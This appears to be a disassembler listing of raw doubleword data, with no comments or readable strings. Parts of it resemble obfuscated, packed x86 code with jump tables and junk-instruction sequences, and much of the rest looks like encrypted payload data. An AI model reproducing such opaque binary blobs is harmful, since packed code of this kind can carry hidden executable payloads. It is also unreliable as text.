		dd 8AEB87Ah, 0C4000000h, 0DDD8F48Bh, 67415357h,	7B043467h
		dd 253A5249h, 15E6E29h,	0EE718904h, 0D5AAA2DFh,	0BCC3FBB6h
		dd 98E7178Eh, 4718306Dh, 1F275746h, 81E28952h, 4C2h, 4EA8100h
		dd 87000000h, 895C2414h, 8956241Ch, 4C681E6h, 83000000h
		dd 348704EEh, 1C895C24h, 0E6895624h, 4C681h, 0EE810000h
		dd 4, 5C243487h, 51242C89h, 0F396BB53h,	0D9890619h, 59CB895Bh
		dd 242C8B54h, 4C481h, 0B9510000h, 8, 3B2E981h, 0E9012936h
		dd 3B2C181h, 19892936h,	242C8B59h, 81E78957h, 4C7h, 4C78100h
		dd 87000000h, 0FF5C243Ch, 835B2434h, 35E904C4h,	0CDFFFA81h
		dd 76166CC3h, 17F5E43h,	0FF1CB8BFh, 0C5030619h,	0B4CCE0FFh
		dd 435E001Fh, 0E1725721h, 1B544D17h, 59EC6719h,	0DEA37C01h
		dd 0F3B15673h, 5BF751B6h, 2BC43E6h, 866B4A25h, 0C55F4C8Dh
		dd 75835B71h, 8B694D9Ch, 17C355A1h, 0CA685229h,	26572EF3h
		dd 855B6463h, 7C164650h, 0E05B7927h, 0ADC77117h, 62823F9h
		dd 0C1706B6Bh, 1E971133h, 6987894h, 0D0C4264h, 0E33E5841h
		dd 0F5C61669h, 8F446E23h, 4FCA69EEh, 97C03980h,	5F26552Ah
		dd 8F640835h, 24EB2D05h, 9 dup(0)
		dd 0BDE9h, 40B58900h, 8B061A00h, 1401CD85h, 29858B06h
		dd 8D061402h, 1A008AB5h, 34858D06h, 0FF061741h,	0E855C3D0h
		dd 0
aBar		db ']í',0
		db 1Ah,	6, 83h
		dd 1401CDBDh, 850F0106h, 2Ch, 40B5FFh, 858B061Ah, 6140229h
		dd 81273635h, 3CD0FF34h, 0A850F01h, 0B8000000h,	1, 47E9h
		dd 0E9C03300h, 40h, 0B58D1C6Ah,	61A0044h, 40B5FF56h, 8B061A00h
		dd 14022985h, 27363506h, 0D0FF3481h, 8D0CC483h,	1A0044B5h
		dd 14468B06h, 8304E083h, 840F04F8h, 7, 5E9C033h, 0B8000000h
		dd 1, 1CDBD83h,	0F010614h, 785h, 0E9C35D00h, 2,	858DCF5Dh
		dd 61A0069h, 1C558589h,	0AE80614h, 64000000h, 28CF16A7h
		dd 50689648h, 0D6F7815Bh, 5A704E01h, 83C6BE66h,	5D50C281h
		dd 58560000h, 172A68h, 81665900h, 8B02A1DEh, 0FA8B601Ah
		dd 7E9h, 48E8C500h, 5AF950D6h, 45F38161h, 0E906655Ah, 0Eh
		dd 84DC6535h, 6214D113h, 0D0B5E888h, 0F381D531h, 31111EF6h
		dd 0C381C38Bh, 19521D46h, 7E9h,	93D9000h, 0D0046D68h, 2810F53h
		dd 8B000000h, 0E9028FFAh, 12h, 19721548h, 3EF43FDh, 55E08388h
		dd 1280C743h, 0EA814DFBh, 177871E1h, 71DDC281h,	850F1778h
		dd 1, 850F49FCh, 0FFFFFF7Fh, 8DC38B66h,	1A02C78Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 93A797D5h, 0B5017238h, 614263Dh, 2B698D89h, 6A0614h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 8B690AC3h, 5585C7C2h, 0E4061410h, 6A000063h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 5203C353h, 7E9h, 0A99F2200h,	8B9B9378h, 13D85C7h, 614h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 4EAAB7C3h, 0AE9h,	654F0700h, 0A618536Eh
		dd 0FF2A8C72h, 142501B5h, 0C9BE5006h, 5F33BA38h, 2800Fh
		dd 0D88B0000h, 0BD995FFh, 8D890614h, 614346Dh, 95FF006Ah
		dd 6142971h, 7DEBC08Bh,	3C326768h, 11FB06A5h, 0E403AB59h
		dd 0C93890B7h, 0D950F6C7h, 606EE056h, 755817C7h, 155EB967h
		dd 8EF50E28h, 4891666Eh, 5ACBDED9h, 1C9D9E58h, 65BDE20Ah
		dd 1DFD5BD4h, 0F5C62168h, 8C937BD6h, 24CE0375h,	0A427B90Eh
		dd 59FAE40h, 9C36F1D9h,	21FFE7A4h, 2E0C2833h, 64E8813Ch
		dd 0EB6A2A88h, 66B13023h, 812ECB22h, 0A08E4FEAh, 0F00D8BCEh
		dd 0EBA2B1B4h, 0D8485A5Bh, 62BFBACFh, 0F28D8D11h, 81061A03h
		dd 377948CBh, 698D8964h, 0C706142Bh, 14105585h,	700406h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 24692AF1h, 1BA19589h, 85C70614h,	614013Dh
		dd 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 19C35747h
		dd 0BF58317Dh, 6A096F0h, 0FF8CD680h, 140061B5h,	158F0F06h
		dd 0E9000000h, 10h, 3CD4881Eh, 7DDD9667h, 2A62AE2Dh, 0F8B8B7FCh
		dd 0BD995FFh, 0B5290614h, 6141E75h, 6AC18B66h, 7195FF00h
		dd 8B061429h, 0B16EEBC0h, 94E50295h, 56BDED60h,	85BD42ACh
		dd 30A947E0h, 3829DE87h, 13DB93B8h, 0DCDC9DDEh,	5F0641EDh
		dd 391406B4h, 85A922CCh, 0E1A13BD4h, 7ACF98F0h,	22E7F1D8h
		dd 0BBF92342h, 3FABB545h, 218C9F1Fh, 0FB09AEC2h, 0E5CC2AD2h
		dd 0AD4EABFEh, 566C03F3h, 6A46BDDDh, 0C65F885Fh, 0DD5CF6ABh
		dd 0E49939BBh, 5B3B06E5h, 45FE770Ah, 0D86C1DAh,	2AE93Dh
		dd 25EC0000h, 6666h, 252h, 8 dup(0)
		dd 0C06E9h, 66D6800h, 0EAE9061Ah, 68FFFB3Eh, 61A0764h
		dd 0FB3EE0E9h, 90468FFh, 0D6E9061Ah, 68FFFB3Eh,	61A09D7h
		dd 0FB3ECCE9h, 0A8268FFh, 0C2E9061Ah, 68FFFB3Eh, 61A0C29h
		dd 0FB3EB8E9h, 0CAB68FFh, 0AEE9061Ah, 68FFFB3Eh, 61A0E10h
		dd 0FB3EA4E9h, 0EF468FFh, 9AE9061Ah, 95FFFB3Eh,	37B5E241h
		dd 0CA1A49E0h, 6FFD2A87h, 444F32Eh, 0C12C5BD4h,	0A6F95B04h
		dd 29DF371h, 0D54497D5h, 0B3F02EBEh, 0D3EB6A04h, 398185EDh
		dd 663CA1B5h, 1582FB38h, 81E8CEF4h, 0CEB83367h,	217EDC4Ah
		dd 42938DF2h, 26516BEFh, 11225825h, 0B1357392h,	6E85EC7h
		dd 96397B92h, 1874E942h, 6C0065BAh, 7258F728h, 953981DCh
		dd 3EF5BAC1h, 0F5128D54h, 7B99E7CDh, 0B6339939h, 6DABD531h
		dd 4DE16113h, 65h, 31172F4Ch, 71397BECh, 8A368387h, 25A2F6D9h
		dd 0DC0EB8F3h, 3669AF71h, 14351D4Fh, 739029EEh,	0B1E3B935h
		dd 0B8ADFE52h, 0A5E75E88h, 0BA9C120Bh, 80397B8Fh, 4249B989h
		dd 0CDA9C9EBh, 838DA145h, 0AE765C62h, 5A0A397Bh, 3556D710h
		dd 29295B72h, 54CAA8C5h, 197BA58Dh, 9A137886h, 0CD61E1A3h
		dd 0CAh, 0FB386660h, 71AAEA82h,	8D22700Ch, 0C6CB3B98h
		dd 898A0237h, 0C6D9A65Ch, 965AE896h, 15E09C1Eh,	75DD0FAEh
		dd 9F346BABh, 67E38AA7h, 0FE0BFB33h, 2186DA47h,	5AB866E2h
		dd 0D80AA9E9h, 73F5C7Dh, 33685821h, 0A98FF761h,	0F9336858h
		dd 0B4340B0Fh, 0D04CC966h, 1A2B2F80h, 9FFEFDAEh, 74707E67h
		dd 0E031EF35h, 0A557C54Dh, 8A31010Eh, 0C7FD3A3Ch, 0F2ADDFBBh
		dd 0BA6E94F1h, 4E3B8546h, 2D6FB19Ch, 0D50745F2h, 0DC023D5Ah
		dd 0B12426A8h, 96E61h, 68C70B00h, 3766AD3Bh, 900D4080h
		dd 79B4E563h, 0C15ABACAh, 0D18E4F92h, 69F72C7Fh, 0D5B8823h
		dd 0A42453CAh, 0D48A3976h, 87674D75h, 333B3981h, 0E536664Eh
		dd 43E03E4Eh, 0D98A8714h, 7E437BDAh, 435738Fh, 6C9E1346h
		dd 8F9F81F9h, 0ACEF397Bh, 70A20151h, 0A11C730Dh, 9B823C6Fh
		dd 0EA340A88h, 7B8FEED4h, 96C0B239h, 0ABB0860Ah, 8D542106h
		dd 0C5B6h, 87993B00h, 0A17FDB56h, 354B3271h, 5DD548E3h
		dd 33678640h, 0E41390CEh, 9CF93664h, 8561477Fh,	0B7213367h
		dd 536B2D3h, 16FF0706h,	8735739Dh, 82C124B7h, 3868DD4Eh
		dd 6E6A6E8Ch, 114630EAh, 0E0F0C3Fh, 43DE3FE1h, 0FD50AEDAh
		dd 0FFA0A0A0h, 703B85CAh, 0ED6BF982h, 60E091AAh, 0A37DD88Ah
		dd 0C15F3E71h, 0C037138Ah, 42285E7Fh, 52336A3Eh, 0AC5EA801h
		dd 811A7AA4h, 0A8A55D42h, 0A674E126h, 877h, 2453D002h
		dd 893E6FA4h, 6C9B167Bh, 3360BD1Ch, 9BC863B5h, 88C89750h
		dd 2C60E017h, 0D30444F3h, 7FDF2D5Ah, 7ADBF320h,	81885E44h
		dd 47CA2239h, 98E53666h, 9B68FBAAh, 2121F245h, 0E3409EEEh
		dd 386667B4h, 6251EF9h,	1446E09Ah, 0A0FF5F31h, 0BE6E1973h
		dd 6879A288h, 0D20CFE33h, 8F324B73h, 6F03574h, 9211411Fh
		dd 0C3FB1865h, 397C70DDh, 0D14FCBA5h, 0C33B2281h, 0BA369202h
		dd 0A8D96D95h, 4E9E356Ah, 34AA9310h, 0B4BA4D53h, 0C1A4FB5Bh
		dd 4D306FAFh, 5B96A802h, 7988DE34h, 12284919h, 0B4BA4D2Ch
		dd 0BCA29A74h, 0C4B4BA4Dh, 3D4BF82Ah, 7EDF46DDh, 4D432951h
		dd 0AD5FB4BAh, 0A5ADFC5Fh, 0EB4B909Dh, 42DF3E4Dh, 5E447ADBh
		dd 22B214B4h, 0B4E52AB0h, 12248ED1h, 0A2C3CCDFh, 14B4B69Ch
		dd 3818CAB2h, 5383C294h, 0D1039CF0h, 0CFF38674h, 0FE84BCFBh
		dd 8DF02D60h, 44847BDFh, 24A49916h, 0F50D080Bh,	0B4217478h
		dd 55C41709h, 164D3FEDh, 0F826093Ah, 636C5268h,	5A34AC21h
		dd 679FFE28h, 0AE2D634Ah, 0AF271EC8h, 0B21564CEh, 3365BB92h
		dd 43C785F8h, 2F7C87DFh, 0E905EE12h, 437h, 819A800Ch, 25153367h
		dd 88C97035h, 0C4703015h, 0F80ECF8Bh, 3367F612h, 3C42FC6Eh
		dd 0A3E144D9h, 6BD9FA7h, 0EE3E3368h, 0EF1773B0h, 3367E8F5h
		dd 837D4886h, 0B3BC4FC5h, 419FC960h, 0FBA99C0Fh, 7985679Fh
		dd 4AE53368h, 4CFE3565h, 0A2C4B9C1h, 0CCBE3574h, 968F9887h
		dd 9B3BAA20h, 6D7h, 44F33062h, 295ECF04h, 8C3B76DBh, 53801D7Ch
		dd 3B68C315h, 0E82877B0h, 8CC000B7h, 3364E413h,	0DF3F4DFAh
		dd 1A7B1340h, 818AFEE4h, 27AA8239h, 12283866h, 3367812Ch
		dd 3206CC56h, 27B1C603h, 0B5221BB5h, 93F72A6Bh,	40CDCE79h
		dd 0D1351B23h, 914D3367h, 0CFEB906h, 92F620E8h,	7DD24A6Bh
		dd 9C1C242Ch, 0D3357D8Ch, 56B9084Dh, 0F0B095C7h, 0BBE89A90h
		dd 0A78DB5D2h, 0FB398184h, 0FB9F425h, 8412F80Eh, 0FC6E3981h
		dd 71F12D94h, 5B78C5C6h, 17F9F1EBh, 6DD5A929h, 8E1EBC55h
		dd 8E8C7E3Bh, 155A9336h, 6B44F79Ch, 0FD588A25h,	0E3238CC5h
		dd 0E95C0EE4h, 4ACBC87Bh, 0EF5B9434h, 0EF6E18DEh, 1542E131h
		dd 0EB2887D7h, 773BC8D2h, 4F12194h, 0B1000006h,	5391C65Dh
		dd 0F676ADFCh, 8BD90EA3h, 20A0D74Ah, 0E508BFF0h, 9A154718h
		dd 66B91F6Dh, 0C960B331h, 970C4A9Ah, 0B7CF4E60h, 39818AD1h
		dd 8AD05DD1h, 5A7BDAD9h, 67813E24h, 0B0904233h,	97587189h
		dd 28DA3573h, 0CA3F32Dh, 0D6EF6B19h, 62DB5886h,	0DA57EF13h
		dd 8AABAAA9h, 7B988E74h, 0E0601239h, 0AEA8C1F9h, 0F86A3B87h
		dd 81F9DB4Bh, 7D633367h, 0E5336781h, 0AFCC494Ah, 0EC3D9E8Eh
		dd 67819278h, 147CEE33h, 7D866CECh, 1F06F035h, 8185C0A7h
		dd 0ADEF3139h, 0DFEE1672h, 6FD2B283h, 1053F02Fh, 0F22CC567h
		dd 5595383h, 0B2E40000h, 5186C67Dh, 0F85DABD8h,	9FFE0EA5h
		dd 4597D502h, 0F532BDEAh, 82316AAAh, 669D0E42h,	0CF64B5E6h
		dd 95C261B1h, 7C6298F9h, 439818Bh, 0D98AAD10h, 0C3437BDAh
		dd 4F357D85h, 86D4A89Dh, 0D286FA29h, 2C059AFBh,	755630F7h
		dd 9BC9BCEEh, 0A11EEC69h, 89207328h, 0D6B8D494h, 0CBFA5E1Dh
		dd 99CE65B5h, 0B1940B4Bh, 15FB0320h, 6D39827Bh,	7B341A20h
		dd 924C3982h, 0D806E060h, 57BBE25Bh, 1390CEFFh,	447A9BE4h
		dd 39827B5Eh, 6CD0B022h, 8D5B0D3Fh, 15BF9h, 0D98A7C00h
		dd 0C6437BDAh, 0BF3573ABh, 8AF32A61h, 36A07ADEh, 0F95ECE4Fh
		dd 8B8FBDA0h, 7BAB977Bh, 6AFCD639h, 868784B7h, 87D60380h
		dd 70DD8F3Bh, 0ED9D1382h, 26C676ADh, 79CE4AC9h,	1174ABEBh
		dd 53801F7Fh, 31614EF9h, 0F12380DEh, 0AFC0C647h, 533573B2h
		dd 6446BCA1h, 6A397BB1h, 264B90A6h, 968D545Fh, 4Ah, 4278991Bh
		dd 3367815Ch, 0BCCE4A24h, 336CAC83h, 35988481h,	43C785F8h
		dd 8F5F245Ah, 0F1633573h, 8F34168Ch, 133A397Bh,	607BB823h
		dd 0F85DE71Fh, 5680C0A5h, 0F3F84EF2h, 8D5491BEh, 0ACFF55CBh
		dd 0A6A2FF5Eh, 0A232h, 3866A700h, 0AAEA82FBh, 22700C71h
		dd 96C4988Dh, 2ACE3C19h, 9F70A4A5h, 7FE75838h, 3367C062h
		dd 2B1EE2Ch, 1F7E7D2Eh,	8CE600FEh, 9A2076FCh, 0CD7FE63Bh
		dd 408FB793h, 42357206h, 296BB590h, 0EFC41F6h, 4E074D47h
		dd 0A70112A2h, 414D47F7h, 2577B191h, 0EE004D8Ah, 93022094h
		dd 3B243h, 940B4F00h, 73AAE17Fh, 0DC5184C4h, 0A5F859A7h
		dd 0D9EFE0Eh, 154A8BD6h, 0AD3B68C3h, 419F3467h,	18689F0Eh
		dd 10CE65BAh, 8D230931h, 0F77F3981h, 0E536660Ah, 43E03E4Eh
		dd 0E4DB2B14h, 0D30204F1h, 66E36EEAh, 0EA82FB38h, 0D3C077ACh
		dd 67019E80h, 1260833h,	0E99A3368h, 0D3536BEAh,	5F357E05h
		dd 0A2DC4F81h, 94C25ABBh, 1E7A261Fh
		dd 0D5B0B3ECh, 8E11ECADh, 0C70CFE3Bh, 269CDA90h, 30F32392h
		dd 0CD000003h, 6FFD2A89h, 242F128h, 0A72552CFh,	7C8C3B76h
		dd 954831Ch, 0EE4193CCh, 4AE52BB9h, 1D8CCF1Dh, 0FB3866E6h
		dd 8BB3924Ch, 39818DA5h, 66F479FDh, 0EA82FB38h,	7F87A4ACh
		dd 33678199h, 21077FE9h, 61336781h, 322E45F7h, 1D030201h
		dd 0FD1C64B7h, 7392B4C5h, 0C1A45635h, 7B916749h, 7247539h
		dd 7B9119FFh, 9BFF6939h, 57145FF7h, 0C18D543Fh,	4Eh, 0F6D98A54h
		dd 571508A1h, 5D225825h, 6535738Fh, 3505928Bh, 0E41332A9h
		dd 5489669h, 93F7B5A8h,	7C0F9173h, 807E5F39h, 868B58D7h
		dd 5CC0408Eh, 0B318040Ah, 753A1E7Ah, 278D542Bh,	0EEh, 8DD306E6h
		dd 7B968F75h, 37611339h, 87998653h, 0AE78D857h,	324A3370h
		dd 0B8D449E2h, 0CF21C75Ah, 0B53A194Fh, 6BB5221Bh, 3B72D924h
		dd 6CD40642h, 0E61C64B2h, 3367CF00h, 9FDED480h,	0C3F8C2Ch
		dd 1373A0D2h, 336860F6h, 96CD62B0h, 0B2AB0856h,	7060536h
		dd 7484EEFFh, 8BCE9C35h, 0EF7D2F16h, 0AEC577AAh, 6DAE81B2h
		dd 7B83823Ch, 3B862232h, 79A7A650h, 0C865A817h,	59CC5DB2h
		dd 809CF92Bh, 3B69DC51h, 483D70A5h, 46C73818h, 0DD3B2159h
		dd 97473369h, 36C5843Bh, 0F40AA492h, 6A160FA0h,	4FE030EEh
		dd 0A869C708h, 2CEA5B26h, 1CBh,	588F2476h, 3D6AC308h, 80376AAFh
		dd 679C1140h, 0CF64B719h, 0DC3C63ACh, 80D41443h, 2768F82Fh
		dd 0D30341F6h, 1677275Ch, 81900AF0h, 139E9639h,	4EE53666h
		dd 2D6FE03Eh, 0AFD98BF2h, 8799BB78h, 2464D950h,	55416D88h
		dd 6DD5A4A5h, 2E2F2C5Fh, 748A5318h, 7FD16F35h, 0D90B392Ch
		dd 2C9A8E7Ch, 0B5F403B4h, 5C3EB4CDh, 62397C28h,	1E5398AEh
		dd 9E8D54BAh, 0A5h, 0FB386613h,	0C60B1582h, 0D2B6F26Bh
		dd 0B2AB0454h, 18FE0425h, 68336781h, 4D6A9AFEh,	0D9336786h
		dd 808D3A79h, 0E7594FB2h, 351DE311h, 974ABEBh, 0E868C717h
		dd 3B386BD9h, 4413245Ah, 0C5B73574h, 8281B2AEh,	0DFCF7B83h
		dd 0DC403B85h, 0C9232778h, 0AEEE3E1Fh, 5686C67Dh, 1FD0D1C7h
		dd 0ACDE7024h, 0A8D5FC67h, 7D74E26h, 0E7h, 0B4E34092h
		dd 194EDF34h, 0FC2B86CBh, 43F02D6Ch, 2B58D305h,	0F85807C0h
		dd 9CF070A7h, 4394D403h, 0EF2FBDEAh, 0EA6B03B0h, 818FEED4h
		dd 37BAB239h, 4EE53666h, 1443E03Eh, 28386687h, 180CA1F4h
		dd 33678132h, 0A89D0E42h, 42FC6EF8h, 0D5585DBh,	67820FF5h
		dd 0B7E19333h, 70732C00h, 0E828F415h, 0B692CEB7h, 7D86128Eh
		dd 0E0956535h, 0AB03ACCAh, 0FD6FBD85h, 6D3B0B88h, 78B3E58Eh
		dd 797C3CCh, 48DEDE3h, 0A8A8DA84h, 5483207Eh, 0F469C614h
		dd 5A404667h, 26398208h, 0AEB4CCB4h, 2759363Dh,	2475A646h
		dd 67A6B85Ch, 0C24BF837h, 4989F65Ah, 873173EAh,	0FE356583h
		dd 75A8E987h, 6EBF1408h, 0E43799F7h, 0CDB3CB4Ah, 0D599CE34h
		dd 0AB265F3Bh, 0E942928Ah, 5071C569h, 0F676AD02h, 0C4120BA8h
		dd 3, 66BB86C9h, 0F686FF34h, 7A120BA8h,	0C39D8019h, 552B128Dh
		dd 0DBB5A803h, 213F2679h, 0B4C8BDF0h, 759CC61h,	0B3E459D0h
		dd 815D5455h, 4C5h, 4ED8300h, 5C242C87h, 467F68h, 24148900h
		dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 6850243Ch
		dd 600A0F68h, 47220D58h, 943577DBh, 57C6176h, 100770FFh
		dd 59F6BB53h, 0D801EA58h, 58C2895Bh, 8904EC83h,	4812424h
		dd 424h, 81525F00h, 3A38242Ch, 478F3CECh, 8478108h, 3CEC3A38h
		dd 56243C8Bh, 0C681E689h, 4, 8704C683h,	0FF5C2434h, 815A2434h
		dd 4C4h, 32FBE900h, 7E37FFFBh, 0F6E2AD37h, 2B50245h, 0B88A98C5h
		dd 61A1000h, 0E0FFC503h, 69198947h, 209DE846h, 25FA571Ch
		dd 72026865h, 35DB551Dh, 592EF080h, 4D6E3188h, 5BE4C716h
		dd 4F25E15Ah, 4BEBC2C5h, 5AE288E0h, 688F5E87h, 1A8E08Eh
		dd 548E4B68h, 48710978h, 3F6969C8h, 3CAF0899h, 4BA52145h
		dd 515D13FBh, 237642Eh,	6585F2F1h, 2A3891FDh, 3709BBABh
		dd 5133DD87h, 8E8h, 19419600h, 0CAAA1B62h, 8E8F6h, 0B4140000h
		dd 0F8680EA5h, 840FC43Ah, 6, 8E0Fh, 595A0000h, 11E9h, 0B54F5700h
		dd 2BF7B62Dh, 7E0AF023h, 32062AACh, 0C1816F85h,	60F4h
		dd 8166FF2Bh, 8B183BC3h, 0C7BA3904h, 812C2F95h,	6931D3E8h
		dd 0DB25BA07h, 0E88158CBh, 70EBE6Ch, 0E881F78Bh, 6C40BB46h
		dd 3086BA52h, 895A0352h, 0D08B3904h, 0EF81F28Bh, 23CADC48h
		dd 0F97FBB66h, 0DC44C781h, 0BA5123CAh, 0FBD0719h, 0DCFF815Ah
		dd 0FFFFF9Fh, 2385h, 880F6000h,	3, 60DF8B66h, 6E9h, 0A09F6300h
		dd 0F80A6BA9h, 1EE96161h, 0E5000000h, 3802067Ah, 0EA816657h
		dd 0E95E7E12h, 0FFFFFF7Fh, 240CFE0Ch, 345AEFA4h, 90797980h
		dd 0BFE96Ah, 660B0000h,	9CD71BD0h, 0C8C3CA45h, 0ABDAB6E1h
		dd 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh
		dd 2096B1F4h, 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h
		dd 329FB799h, 0E9B599BDh, 92A59CB2h, 95ACA3F2h,	97B1EF76h
		dd 0B4F94E00h, 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h
		dd 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h,	0BF9792B0h
		dd 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh,	9492ABF7h
		dd 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh
		dd 93BCE1B6h, 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
		dd 9D744700h, 99E0E312h, 5Eh, 0
		dd 15ABE900h, 0A9680000h, 0E9061A14h, 0FFFA6E2Ch, 1A159368h
		dd 6E22E906h, 6268FFFAh, 0E9061A16h, 0FFFA6E18h, 1A17AE68h
		dd 6E0EE906h, 3E68FFFAh, 0E9061A18h, 0FFFA6E04h, 1A18EC68h
		dd 6DFAE906h, 0C968FFFAh, 0E9061A19h, 0FFFA6DF0h, 1A1A8068h
		dd 6DE6E906h, 2168FFFAh, 0E9061A1Bh, 0FFFA6DDCh, 1A1CB768h
		dd 6DD2E906h, 0D868FFFAh, 0E9061A1Dh, 0FFFA6DC8h, 1A1F8A68h
		dd 6DBEE906h, 7C68FFFAh, 0E9061A20h, 0FFFA6DB4h, 1A21BA68h
		dd 6DAAE906h, 0FD68FFFAh, 0E9061A22h, 0FFFA6DA0h, 1A24DA68h
		dd 6D96E906h, 0E68FFFAh, 0E9061A26h, 0FFFA6D8Ch, 94981333h
		dd 7F83FA0Bh, 64A8E5E0h, 52D6CDFBh, 37FBB6D5h, 133280B4h
		dd 0D9A9Eh, 0EAE68185h,	0CAFC6BAFh, 0DF224FD3h,	0EA81E35Eh
		dd 0E9D36055h, 0DFD6F48Bh, 9848655h, 215C6EF1h,	0B1DFAEDDh
		dd 0CC46C2FAh, 6863E9F8h, 9281B0FDh, 0C50253F0h, 68AACEC9h
		dd 631CDE5Fh, 71D549DCh, 8365D859h, 588755E4h, 99FB2131h
		dd 299B8BA8h, 11000000h, 0E01B6180h, 0D3C0FF75h, 0C5081265h
		dd 0BFD04E4Fh, 2D1149DCh, 73A19C1Dh, 844355E4h,	6DBF6D6Dh
		dd 13DF8BA9h, 0D5000001h, 6366567h, 24574A79h, 176C442Ch
		dd 457A8959h, 0EFEC02D7h, 0CAFA3834h, 0E31893B5h, 5E007295h
		dd 0C0447431h, 0FB9F3A2Eh, 0D0F28D39h, 471059DDh, 3353F033h
		dd 1A619A11h, 4D63B5E8h, 0DC39FEBBh, 43DC949Eh,	0CA324A41h
		dd 0C33E4D3Bh, 0A21B09B5h, 0C2CD0DE1h, 6451A3C7h, 49DC2EC2h
		dd 641F2D3Ch, 87FE0B54h, 0ED519163h, 0E7D8FDEh,	293F4C04h
		dd 0C205012Ch, 96A5023Eh, 2D55E457h, 0A9F60529h, 55E4579Ah
		dd 0C7FF3519h, 22395226h, 1EA96B26h, 0CB0F7C91h, 7893F74Fh
		dd 9CAFE2E1h, 0FFB58421h, 5DCE5FDBh, 0DBFC61D0h, 7A9EE25Fh
		dd 606FF8B8h, 0EC82EA2Dh, 0C23A6301h, 12FBF0h, 0C3BECE00h
		dd 0EE9FA03Fh, 1792BD2Ah, 3F769413h, 205D6CFBh,	0CD755FDCh
		dd 0A03FC3BEh, 0B926EAA3h, 910E128Dh, 9DF83C6Fh, 86B2812Eh
		dd 823155EAh, 0D5F48B1Eh, 86855AD8h, 0A0D8D5F0h, 63FC0024h
		dd 95E62A61h, 924EFD3Ah, 56C553F0h, 0F0927AC9h,	7195F953h
		dd 0F48BB9A3h, 3B4DDAD3h, 46CC4840h, 0D2E99F6Eh, 0DC6CC555h
		dd 23A1E49h, 0E49C9CA3h, 789F7E55h, 0A89AB47Ah,	0ABC28Bh
		dd 0E4570000h, 0E49088BBh, 0D070B55h, 0CD65670Bh, 4DC9C1BCh
		dd 3F4E1129h, 3EEB4A42h, 9A53F097h, 76F13568h, 0B9215954h
		dd 8E2F5C28h, 49DC7EA4h, 0C6B579DDh, 1F158887h,	193246A7h
		dd 0DC4B4642h, 43C7F7AEh, 55A9F6B1h, 994FCBEAh,	0C11F63CBh
		dd 55B1C9C4h, 0C48915C3h, 25563A4Eh, 0A66A2726h, 90970A39h
		dd 63029C32h, 11CCDE4Eh, 0F4000012h, 0CA55D9D4h, 0A740C4B9h
		dd 0B22DF1ACh, 8A151994h, 7902067Bh, 0ADE0EF57h, 0D4D1FE69h
		dd 0C0BBD750h, 0EAA1A33Ch, 0B7F04B26h, 55EA8784h, 6730F41Fh
		dd 76F13568h, 5B225954h, 0FABE742Fh, 36656738h,	54477906h
		dd 413C57D0h, 9B12334Ah, 30522D99h, 9F57B97Dh, 9BB6F762h
		dd 1853F092h, 0B1C9C4CFh, 0CBE33155h, 1994B53Ah, 2D59C6F5h
		dd 2649DC6Bh, 0D78EB22h, 2757527Eh, 9AAF9AA3h, 202455E4h
		dd 4B5FE3D2h, 4D9C5C7Eh, 0A4C8C5C4h, 0AEE01697h, 0D71B442h
		dd 106485FDh, 2685BAFBh, 0A0E4A6Dh, 8A2B86F1h, 5A3924BFh
		dd 24073273h, 0B89C5A39h, 1DB240C4h, 0CB06A7EBh, 485A3924h
		dd 0C35CA0C4h, 0F145CAC1h, 0F36563A3h, 1142899Bh, 5050000h
		dd 0E819868Ah, 0DBF671B5h, 0BFCD5ADEh, 0A8A740C4h, 86AA31F5h
		dd 989C1130h, 878B020Fh, 6DB1EC18h, 59DDD0F2h, 0D160CD3Ch
		dd 5255EA84h, 0FD8BFF21h, 43A94D80h, 0A05E28Ah,	0B4D6858Fh
		dd 8859C1F9h, 0CC6ECFFCh, 6549DC37h, 0F36E1DE1h, 0E43787B2h
		dd 0FA381C55h, 265523C2h, 0C83251F9h, 4E7EC24Fh, 0F5E887DDh
		dd 0A6B3C7CDh, 8DE616Ch, 0D13C5FD8h, 2672B8BAh,	0BDCC91BDh
		dd 9FFB138Eh, 1C70C36Ch, 8FF35FD8h, 37FA85h, 0F08F0000h
		dd 28ACDCD1h, 618060EAh, 0F947E01Bh, 7249DC2Ch,	626EFD0Eh
		dd 0A19AE327h, 8155E4DCh, 0A2D9F77Fh, 60A2EAAh,	1A326D99h
		dd 108708h, 44401F00h, 5FD53149h, 1B6180D5h, 0A4FF75E0h
		dd 31A781FFh, 19B934FEh, 0DD49DA0Ah, 98963B87h,	3CF6CCADh
		dd 0D84B40C4h, 80A8581h, 417A3153h, 9AF53133h, 0AAC35DE8h
		dd 0E6BF7136h, 0BE8D2A3Ch, 3555EA87h, 33E72D51h, 0E31B92B4h
		dd 0A7DAE970h, 0E88596Dh, 15D393F0h, 0ABA0C4B4h, 0C0FB590Ah
		dd 7496D54Fh, 15920139h, 5FC43F26h, 7FB5D9BDh, 75F4070Bh
		dd 4BD45853h, 0D24A4239h, 0E9364533h, 45E8EE31h, 8FD95E22h
		dd 695CE47Dh, 0FF623F1h, 0B9C90000h, 0A4A542C6h, 8FBA25E9h
		dd 73910E12h, 5C6BF438h, 7A5EDD21h, 3CC0BDCCh, 2BEFA6A3h
		dd 111590BCh, 0F5397496h, 0B5842198h, 0CE55EA85h, 86B90385h
		dd 4A53F092h, 3AE5933Ah, 7AB88C63h, 0A6D5A342h,	22F0ABA7h
		dd 35571681h, 5CD23646h, 877594C6h, 0D1DC5679h,	49DA401Ch
		dd 0C0BBC990h, 0A2C64CC8h, 0ACDEADDEh, 7484F90Ah, 0AAA2D9EBh
